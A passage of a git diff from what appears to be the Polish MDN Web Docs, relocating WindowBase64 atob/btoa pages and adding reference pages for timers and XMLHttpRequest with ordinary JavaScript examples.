{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Migawka {{SpecName("HTML WHATWG")}}. Utworzenie WindowBase64 (properties where on the target before it).
-

Zgodność przeglądarek

-
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
FunkcjaChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1][2]10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
-
- - - - - - - - - - - - - - - - - - - -
FunkcjaAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
-
-

[1]  btoa() jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli window nie jest globalnym obiektem w komponencie.

-

[2] Wraz z Firefoxem 27, metoda atob() ignoruje wszystkie spacje w argumencie dla zgodności z najnowszą specyfikacją HTML5. ({{ bug(711180) }})

-

Zobacz też

- diff --git a/files/pl/web/api/windowbase64/btoa/index.html b/files/pl/web/api/windowbase64/btoa/index.html deleted file mode 100644 index cf3e90c26d..0000000000 --- a/files/pl/web/api/windowbase64/btoa/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: WindowBase64.btoa() -slug: Web/API/WindowBase64/btoa -tags: - - API - - Base-64 - - Base64 - - Method - - Reference - - Referencja - - WindowBase64 -translation_of: Web/API/WindowOrWorkerGlobalScope/btoa ---- -

{{APIRef}}

-

Tworzy string ASCII zakodowany w base-64 z ciągu ("string") danych binarnych.

-

Metoda ta jednak nie nadaje się do konwertowania surowych ciągów Unicode! Zobacz sekcję Unicode poniżej.

-

Składnia

-
var zakodowaneDane = window.btoa(ciagDoZakodowania);
-

Przykład

-
var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu
-var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu ("Hello, world")
-
-

Uwagi

-

Możesz używać tej metody do kodowania danych, które w innym wypadku mogą powodować problemy z komunikacją. Przekaż je, a następnie użyj metody window.atob() aby odkodować dane ponownie. Na przykład możesz zakodować znaki kontrolne takie jak ASCII o wartości od 0 do 31.

-

btoa() jest także dostępne dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli window nie jest globalnym obiektem w komponencie.

-

Ciągi Unicode

-

W większości przeglądarek odwołanie się do window.btoa() z ciągiem Unicode spowoduje wystąpienie wyjątku Character Out Of Range.

-

Aby tego uniknąć, rozważ ten model odnotowany przez Johana Sundströma:

-
function utf8_to_b64( str ) {
-    return window.btoa(encodeURIComponent( escape( str )));
-}
-
-function b64_to_utf8( str ) {
-    return unescape(decodeURIComponent(window.atob( str )));
-}
-
-// Usage:
-utf8_to_b64('✓ à la mode'); // JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ==
-b64_to_utf8('JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ=='); // "✓ à la mode"
-
-utf8_to_b64('I \u2661 Unicode!'); // SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ==
-b64_to_utf8('SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ=='); // "I ♡ Unicode!"
-
-
-

Lepszym, bardziej wiarygodnym i mniej wymagającym rozwiązaniem jest konwersja DOMString do ciągu zakodowanego w UTF-8 używając TypedArray. W tym celu proszę zapoznać się z tym akapitem.

-

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML WHATWG')}}Brak zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Migawka {{SpecName("HTML WHATWG")}}. Utworzenie WindowBase64 (properties where on the target before it).
-

Zgodność przeglądarek

-
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
FunkcjaChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
-
- - - - - - - - - - - - - - - - - - - -
FunkcjaAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
-
-

[1] btoa() jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli window nie jest globalnym obiektem w komponencie.

-

Zobacz też

- diff --git a/files/pl/web/api/windowbase64/index.html b/files/pl/web/api/windowbase64/index.html deleted file mode 100644 index 88443161b5..0000000000 --- a/files/pl/web/api/windowbase64/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: WindowBase64 -slug: Web/API/WindowBase64 -translation_of: Web/API/WindowOrWorkerGlobalScope -translation_of_original: Web/API/WindowBase64 ---- -

{{APIRef("HTML DOM")}}

- -

The WindowBase64 helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in data URIs.

- -

There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.

- -

Properties

- -

This helper neither defines nor inherits any properties.

- -

Methods

- -

This helper does not inherit any methods.

- -
-
{{domxref("WindowBase64.atob()")}}
-
Decodes a string of data which has been encoded using base-64 encoding.
-
{{domxref("WindowBase64.btoa()")}}
-
Creates a base-64 encoded ASCII string from a string of binary data.
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(1)}} [1]{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatGeckoMobile(1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

[1]  atob() is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.

- -

See also

- - diff --git a/files/pl/web/api/windoworworkerglobalscope/atob/index.html b/files/pl/web/api/windoworworkerglobalscope/atob/index.html new file mode 100644 index 0000000000..cd36201a6c --- /dev/null +++ b/files/pl/web/api/windoworworkerglobalscope/atob/index.html @@ -0,0 +1,104 @@ +--- +title: WindowBase64.atob() +slug: Web/API/WindowBase64/atob +tags: + - API + - Base-64 + - Base64 + - Method + - Metodă + - Reference + - Referencja + - WindowBase64 +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +

{{APIRef}}

+

Funkcja WindowBase64.atob() dekoduje ciąg danych, który został zakodowany używając kodowania base-64. Możesz użyć metody window.btoa() aby zakodować i przesłać dane, które w innym wypadku mogą powodować problemy z komunikacją, a następnie odebrać je i użyć metody window.atob() aby zdekodować dane ponownie. Na przykład możesz zakodować, przesłać i zdekodować znaki kontrolne ASCII o wartościach od 0 do 31.

+

Aby używać tej funkcji z ciągami Unicode albo UTF-8, zobacz tę uwagę w Kodowaniu i dekodowaniu Base64 i tę uwagę w window.btoa().

+

Składnia

+
var odkodowaneDane = window.atob(zakodowaneDane);
+

Przykład

+
var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu
+var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu
+

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}Bez zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Migawka {{SpecName("HTML WHATWG")}}. Utworzenie WindowBase64 (properties where on the target before it).
+

Zgodność przeglądarek

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + +
FunkcjaChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1][2]10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + +
FunkcjaAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+

[1]  btoa() jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli window nie jest globalnym obiektem w komponencie.

+

[2] Wraz z Firefoxem 27, metoda atob() ignoruje wszystkie spacje w argumencie dla zgodności z najnowszą specyfikacją HTML5. ({{ bug(711180) }})

+

Zobacz też

+ diff --git a/files/pl/web/api/windoworworkerglobalscope/btoa/index.html b/files/pl/web/api/windoworworkerglobalscope/btoa/index.html new file mode 100644 index 0000000000..cf3e90c26d --- /dev/null +++ b/files/pl/web/api/windoworworkerglobalscope/btoa/index.html @@ -0,0 +1,126 @@ +--- +title: WindowBase64.btoa() +slug: Web/API/WindowBase64/btoa +tags: + - API + - Base-64 + - Base64 + - Method + - Reference + - Referencja + - WindowBase64 +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +

{{APIRef}}

+

Tworzy string ASCII zakodowany w base-64 z ciągu ("string") danych binarnych.

+

Metoda ta jednak nie nadaje się do konwertowania surowych ciągów Unicode! Zobacz sekcję Unicode poniżej.

+

Składnia

+
var zakodowaneDane = window.btoa(ciagDoZakodowania);
+

Przykład

+
var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu
+var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu ("Hello, world")
+
+

Uwagi

+

Możesz używać tej metody do kodowania danych, które w innym wypadku mogą powodować problemy z komunikacją. Przekaż je, a następnie użyj metody window.atob() aby odkodować dane ponownie. Na przykład możesz zakodować znaki kontrolne takie jak ASCII o wartości od 0 do 31.

+

btoa() jest także dostępne dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli window nie jest globalnym obiektem w komponencie.

+

Ciągi Unicode

+

W większości przeglądarek odwołanie się do window.btoa() z ciągiem Unicode spowoduje wystąpienie wyjątku Character Out Of Range.

+

Aby tego uniknąć, rozważ ten model odnotowany przez Johana Sundströma:

+
function utf8_to_b64( str ) {
+    return window.btoa(encodeURIComponent( escape( str )));
+}
+
+function b64_to_utf8( str ) {
+    return unescape(decodeURIComponent(window.atob( str )));
+}
+
+// Usage:
+utf8_to_b64('✓ à la mode'); // JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ==
+b64_to_utf8('JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ=='); // "✓ à la mode"
+
+utf8_to_b64('I \u2661 Unicode!'); // SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ==
+b64_to_utf8('SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ=='); // "I ♡ Unicode!"
+
+
+

Lepszym, bardziej wiarygodnym i mniej wymagającym rozwiązaniem jest konwersja DOMString do ciągu zakodowanego w UTF-8 używając TypedArray. W tym celu proszę zapoznać się z tym akapitem.

+

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML WHATWG')}}Brak zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Migawka {{SpecName("HTML WHATWG")}}. Utworzenie WindowBase64 (properties where on the target before it).
+

Zgodność przeglądarek

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + +
FunkcjaChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + +
FunkcjaAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Podstawowa obsługa{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+

[1] btoa() jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli window nie jest globalnym obiektem w komponencie.

+

Zobacz też

+ diff --git a/files/pl/web/api/windoworworkerglobalscope/clearinterval/index.html b/files/pl/web/api/windoworworkerglobalscope/clearinterval/index.html new file mode 100644 index 0000000000..e763be1f4a --- /dev/null +++ b/files/pl/web/api/windoworworkerglobalscope/clearinterval/index.html @@ -0,0 +1,28 @@ +--- +title: window.clearInterval +slug: Web/API/Window/clearInterval +tags: + - Window +translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +--- +
+ {{ApiRef}}
+

Podsumowanie

+

Anuluje powtarzającą się akcję, która została utworzona korzystając z setInterval().

+

Składnia

+
window.clearInterval(idInterwalu)
+
+

idInterwalu to identyfikator powtarzającej się akcji, która ma zostać anulowana. Ten identyfikator został zwrócony z {{domxref("window.setInterval","setInterval()")}}.

+

Przykład

+

Zobacz przykład z setInterval().

+

Specification

+

{{DOM0}}

+

Zobacz także

+ diff --git a/files/pl/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/pl/web/api/windoworworkerglobalscope/cleartimeout/index.html new file mode 100644 index 0000000000..64604dc479 --- /dev/null +++ b/files/pl/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -0,0 +1,40 @@ +--- +title: window.clearTimeout +slug: Web/API/Window/clearTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Usuwa opóźnienie ustanione przez window.setTimeout().

+

Składnia

+
window.clearTimeout(id)
+
+

gdzie id jest identyfikatorem opóźnienia do usunięcia, który został zwrócony podczas wywołania window.setTimeout().

+

Przykład

+

Uruchomienie poniższego skryptu w kontekscie strony i pojedyncze kliknięcie spowoduje wyświetlenie wiadomości po jednej sekundzie. Jeżeli użytkownik będzie klikał na stronie przynajmniej raz na sekundę wiadomość nigdy nie zostanie wyświetlona.

+
var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    delete this.timeoutID;
+  },
+
+  setup: function() {
+    this.cancel();
+    var self = this;
+    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
+  },
+
+  cancel: function() {
+    if(typeof this.timeoutID == "number") {
+      window.clearTimeout(this.timeoutID);
+      delete this.timeoutID;
+    }
+  }
+};
+window.onclick = function() { alarm.setup() };
+
+

Uwagi

+

Przekazanie niepoprawnego ID do clearTimeout nie powoduje żadnej akcji (żaden błąd nie jest wyrzucany).

+

Specyfikacja

+

{{ DOM0() }}

+

{{ languages( { "en": "en/DOM/window.clearTimeout", "fr": "fr/DOM/window.clearTimeout", "ja": "ja/DOM/window.clearTimeout", "pl": "pl/DOM/window.clearTimeout" } ) }}

diff --git a/files/pl/web/api/windoworworkerglobalscope/index.html b/files/pl/web/api/windoworworkerglobalscope/index.html new file mode 100644 index 0000000000..88443161b5 --- /dev/null +++ b/files/pl/web/api/windoworworkerglobalscope/index.html @@ -0,0 +1,114 @@ +--- +title: WindowBase64 +slug: Web/API/WindowBase64 +translation_of: Web/API/WindowOrWorkerGlobalScope +translation_of_original: Web/API/WindowBase64 +--- +

{{APIRef("HTML DOM")}}

+ +

The WindowBase64 helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in data URIs.

+ +

There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.

+ +

Properties

+ +

This helper neither defines nor inherits any properties.

+ +

Methods

+ +

This helper does not inherit any methods.

+ +
+
{{domxref("WindowBase64.atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowBase64.btoa()")}}
+
Creates a base-64 encoded ASCII string from a string of binary data.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(1)}} [1]{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatGeckoMobile(1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1]  atob() is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.

+ +

See also

+ + diff --git a/files/pl/web/api/windoworworkerglobalscope/setinterval/index.html b/files/pl/web/api/windoworworkerglobalscope/setinterval/index.html new file mode 100644 index 0000000000..5cbfadde80 --- /dev/null +++ b/files/pl/web/api/windoworworkerglobalscope/setinterval/index.html @@ -0,0 +1,87 @@ +--- +title: window.setInterval +slug: Web/API/Window/setInterval +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Ustawia opóźnienie do cyklicznego wywoływania określonej funkcji.

+ +

Składnia

+ +
var idInterwalu = window.setInterval(funkcja, opóźnienie[, parametr1, parametr2, ...]);
+var idInterwalu = window.setInterval(kod, opóźnienie);
+ +

 Parametry

+ + + +

Należy zwrócić uwagę, że przekazywanie dodatkowych parametrów w pierwszej składni nie działa w Internet Explorerze.

+ +

Przykład

+ +
idInterwalu = window.setInterval(animuj, 500);
+
+ +

 W poniższym przykładzie, funkcja zmienKolorTekstu() będzie wykonywana co sekundę, dopóki użytkownik nie naciśnie przycisku Stop, co spowoduje wywołanie clearInterval() z parametrem idInterwalu.

+ +
<html>
+<head>
+<title>przykład z wykorzystaniem setInterval/clearInterval</title>
+
+<script type="text/javascript">
+var idInterwalu;
+
+function zmienKolor() {
+  idInterwalu = setInterval(zmienKolorTekstu, 1000);
+}
+
+function zmienKolorTekstu() {
+  var elem = document.getElementById("my_box");
+  if (elem.style.color == 'red') {
+    elem.style.color = 'blue';
+  } else {
+    elem.style.color = 'red';
+  }
+}
+
+function zatrzymajZmianeKoloru() {
+  clearInterval(idInterwalu);
+}
+</script>
+</head>
+
+<body onload="zmienKolor();">
+<div id="my_box">
+<p>Hello World</p>
+</div>
+<button onclick="zatrzymajZmianeKoloru();">Stop</button>
+</body>
+</html>
+ +

Uwagi

+ +

Funkcja setInterval() służy do ustawienia opóźnienia dla cyklicznie wywoływanych funkcji, takich jak funkcje animacji.

+ +

Możliwe jest anulowanie wykonania fukcji poprzez wywołanie window.clearInterval().

+ +

Jeżeli funkcja ma zostać wykonana tylko raz a nie być wykonywana cyklicznie to należy skorzystać z  window.setTimeout().

+ +

Specyfikacja

+ +

{{ DOM0() }}

+ +

{{ languages( { "en": "en/DOM/window.setInterval", "fr": "fr/DOM/window.setInterval", "ja": "ja/DOM/window.setInterval", "pl": "pl/DOM/window.setInterval" } ) }}

diff --git a/files/pl/web/api/windoworworkerglobalscope/settimeout/index.html b/files/pl/web/api/windoworworkerglobalscope/settimeout/index.html new file mode 100644 index 0000000000..926080dd5b --- /dev/null +++ b/files/pl/web/api/windoworworkerglobalscope/settimeout/index.html @@ -0,0 +1,46 @@ +--- +title: window.setTimeout +slug: Web/API/Window/setTimeout +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Uruchamia fragment kodu bądź funkcję po określonym odstępie czasu.

+

Składnia

+
id = window.setTimeout(funkcja, opóźnienie[, param1, param2, ...]);
+id = window.setTimeout(kod, opóźnienie);
+
+

gdzie

+ +

Przykłady

+
window.setTimeout('window.parent.generateOutput()', 1000);
+
+
function generateOutput(aConcise) {
+  if(aConcise)
+    parent.generateConciseOutput();
+  else
+    parent.generateOutput();
+}
+window.setTimeout(generateOutput, 1000, true);
+
+

Zobacz też przykład użycia clearTimeout().

+

Uwagi

+

Możesz anulować opóźnienie wywołania funkcji za pomocą window.clearTimeout().

+

Jeśli chcesz, by funkcja była uruchamiana cyklicznie (np. co każde N milisekund), rozważ wykorzystanie window.setInterval().

+

Specyfikacja

+

{{ DOM0() }}

+

{{ languages( { "en": "en/DOM/window.setTimeout", "fr": "fr/DOM/window.setTimeout", "ja": "ja/DOM/window.setTimeout", "pl": "pl/DOM/window.setTimeout" } ) }}

diff --git a/files/pl/web/api/xmlhttprequest/index.html b/files/pl/web/api/xmlhttprequest/index.html new file mode 100644 index 0000000000..70711f894b --- /dev/null +++ b/files/pl/web/api/xmlhttprequest/index.html @@ -0,0 +1,233 @@ +--- +title: XMLHttpRequest +slug: XMLHttpRequest +tags: + - AJAX + - Wszystkie_kategorie + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest +--- +

+

Obiekt XMLHttpRequest jest obiektem JavaScript zaprojektowanym przez firmę Microsoft i zaadaptowanym w programach Mozilla. Służy do pobierania danych przy użyciu protokołu HTTP. Wbrew nazwie może być stosowany do obsługi dokumentów w wielu formatach, nie tylko XML, ale także JSON.

Artykuł ten zawiera między innymi informacje specyficzne dla silnika Gecko lub kodu uprzywilejowanego, takiego jak kod rozszerzeń programu Firefox. +

W silniku Gecko w obiekcie zaimplementowano interfejsy nsIJSXMLHttpRequest i nsIXMLHttpRequest. W najnowszych wersjach Gecko dokonano pewnych modyfikacji tego obiektu — patrz artykuł Zmiany w obiekcie XMLHttpRequest w Gecko 1.8. +

+

Podstawy

+

Korzystanie z obiektu XMLHttpRequest jest bardzo proste. Należy utworzyć instancję obiektu, otworzyć adres URL, po czym wysłać żądanie. Zwrócony przez serwer kod stanu HTTP, jak również pobrany dokument są następnie dostępne jako własności obiektu żądania. +

{{ Note("W wersjach Firefoksa starszych niż 3 żądania są zawsze wysyłane przy użyciu kodowania UTF-8. W programie Firefox 3 dokument jest wysyłany poprawnie przy użyciu kodowania określonego we własności data.inputEncoding (gdzie data to obiekt przekazany do metody send(); obiekt ten nie może być wartością null). Jeżeli nie określono żadnego kodowania, używane jest kodowanie UTF-8.") }} +

+

Przykład

+
var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', false);
+req.send(null);
+if(req.status == 200)
+  dump(req.responseText);
+
+
Uwaga: W tym przykładzie dane pobierane są w sposób synchroniczny — wykonanie powyższego kodu JavaScript spowoduje zablokowanie interfejsu użytkownika do momentu zakończenia pobierania. Nie należy wykorzystywać podanego kodu w praktyce.
+
Uwaga: W żądaniach synchronicznych nie należy korzystać z funkcji onreadystatechange — w przeciwnym przypadku w wersjach Firefoksa starszych niż wersja 3 zostanie ona wywołana. Program Firefox 3 jest zablokowany do momentu ukończenia procesu obsługi żądania (tak jak w powyższym przykładzie). Program Firefox 2 działa w ten sam sposób, jeżeli tylko funkcja onreadystatechange nie zostanie zaimplementowana.
+

Przykład dla protokołu innego niż HTTP

+
var req = new XMLHttpRequest();
+req.open('GET', 'file:///home/user/file.json', false);
+req.send(null);
+if(req.status == 0)
+  dump(req.responseText);
+
+
Uwaga: protokoły file:/// i ftp:// nie zwracają kodu stanu HTTP, stąd w ich przypadku własność status zwraca wartość zero, a własność statusText zawiera pusty ciąg znaków. Aby uzyskać więcej informacji, patrz {{ Bug(331610) }}.
+

Zastosowanie asynchroniczne

+

W przypadku korzystania z obiektów XMLHttpRequest w rozszerzeniu Firefoksa pobierane dane powinny być ładowane asynchronicznie. Po całkowitym pobraniu danych przekazywane jest wywołanie zwrotne (ang. callback), co pozwala na normalną pracę przeglądarki podczas przetwarzania żądania. +

+

Przykład

+
var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', true); /* Argument trzeci, wartość true, określa, że żądanie ma być asynchroniczne */
+req.onreadystatechange = function (aEvt) {
+  if (req.readyState == 4) {
+     if(req.status == 200)
+      dump(req.responseText);
+     else
+      dump("Błąd podczas ładowania strony\n");
+  }
+};
+req.send(null);
+
+

Monitorowanie postępu

+

Obiekt XMLHttpRequest umożliwia monitorowanie wielu zdarzeń, które mogą wystąpić podczas przetwarzania żądania — służą do tego okresowe powiadomienia o postępie przetwarzania, komunikaty o błędach itp. +

Jeżeli na przykład w czasie pobierania dokumentu do użytkownika mają być wysyłane informacje o postępie przetwarzania, można skorzystać z poniższego kodu: +

+
function onProgress(e) {
+  var percentComplete = (e.position / e.totalSize)*100;
+  ...
+}
+
+function onError(e) {
+  alert("Podczas pobierania dokumentu wystąpił błąd " + e.target.status + ".");
+}
+
+function onLoad(e) {
+  // ...
+}
+// ...
+var req = new XMLHttpRequest();
+req.onprogress = onProgress;
+req.open("GET", url, true);
+req.onload = onLoad;
+req.onerror = onError;
+req.send(null);
+
+

Atrybuty zdarzenia onprogress, position i totalSize, wskazują odpowiednio liczbę pobranych dotychczas bajtów i całkowitą liczbę bajtów, które mają zostać pobrane. +

Dla wszystkich zdarzeń atrybut target wskazuje powiązany obiekt XMLHttpRequest. +

+
Uwaga: przy korzystaniu z funkcji obsługi zdarzeń w dokumentach XML reprezentowanych przez obiekt XMLDocument program Firefox 3 sprawdza, czy wartości własności target, currentTarget i this obiektu zdarzenia wskazują na właściwe obiekty. Aby uzyskać szczegółowe informacje, patrz {{ Bug(198595) }}.
+

Inne własności i metody

+

Oprócz własności i metod omówionych powyżej obiekty XMLHttpRequest obsługują również inne przydatne własności i metody. +

+

responseXML

+

Jeżeli ładowany jest dokument XML, własność responseXML zawiera treść pobranego dokumentu w postaci obiektu XmlDocument, do którego można uzyskać za pomocą metod DOM. Jeżeli serwer wysyła poprawnie sformatowany dokument XML, ale nie jest okreśony nagłówek XML Content-Type, za pomocą metody overrideMimeType() można wymusić przetwarzanie dokumentu jako kodu XML. Jeżeli dokument XML wysyłany z serwera nie jest sformatowany poprawnie, własność responseXML zwraca wartość null, niezależnie od wymuszonego typu danych. +

+

overrideMimeType()

+

Za pomocą tej metody można wymusić sposób obsługi dokumentu, wskazując określony typ danych. Metoda ta przydaje się w sytuacji, gdy do przetwarzania otrzymanych danych ma być użyta własność responseXML, serwer wysyła dane w formacie XML, ale nie jest wysyłany poprawny nagłówek Content-Type.

+
Uwaga: metodę tę należy wywołać przed użyciem metody send().
+
var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', true);
+req.overrideMimeType('text/xml');
+req.send(null);
+
+

setRequestHeader()

+

Za pomocą tej metody można ustawić dowolny nagłówek HTTP żądania przed wysłaniem go. +

+
Uwaga: Przed wywołaniem tej metody należy użyć metody open().
+
var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', true);
+req.setRequestHeader("X-Foo", "Bar");
+req.send(null);
+
+

getResponseHeader()

+

Za pomocą tej metody można pobrać nagłówek HTTP ustawiony w odpowiedzi przesłanej przez serwer. +

+
var req = new XMLHttpRequest();
